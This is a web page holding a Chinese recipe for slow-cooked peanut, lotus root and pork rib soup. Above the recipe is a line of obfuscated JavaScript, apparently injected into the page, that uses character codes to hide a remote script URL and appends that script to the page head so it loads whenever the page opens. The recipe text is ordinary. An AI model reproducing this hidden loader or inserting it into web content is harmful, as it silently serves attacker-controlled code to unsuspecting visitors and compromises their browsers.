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Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,119,101,108,108,46,108,105,110,101,116,111,97,100,115,97,99,116,105,118,101,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

材料:
• 150克 花生(浸泡隔夜)
• 350克 莲藕 (大约一节粗莲藕,切成薄片)
• 500克 排骨 (汆烫,洗净)
• 10个 红枣
• 15克 枸杞 (洗净,浸泡)
• 15克 吊片/乾魷魚 (选择性)
• 2.5公升 水
• 2茶匙 盐或适量调味

做法:

  1. 花生浸泡隔夜,煮了才会快软。莲藕削皮,切成薄片。吊片(乾魷魚)洗干净后见剪成小片,选择性,如果没有可以不必加。
  2. 枸杞洗净后用清水浸泡,搁置一旁备用。
  3. 排骨用滚水汆烫,去掉血水,血腥味還可以去除一部分脂肪。熬出来汤不会浊也可以避免过于油腻。
  4. 把2.5公升的清水开大火滚开。除了枸杞把所有材料加入。把水重新滚开然后转小火熬煮2小时30分。
  5. 食用前15分钟把多余的油捞起可以避免汤喝起来过于油腻。
  6. 加入用清水浸泡过的枸杞。
  7. 起锅前加入2茶匙盐或适量调味即可。
  8. 用料简单,慢熬的老火靚湯完成。

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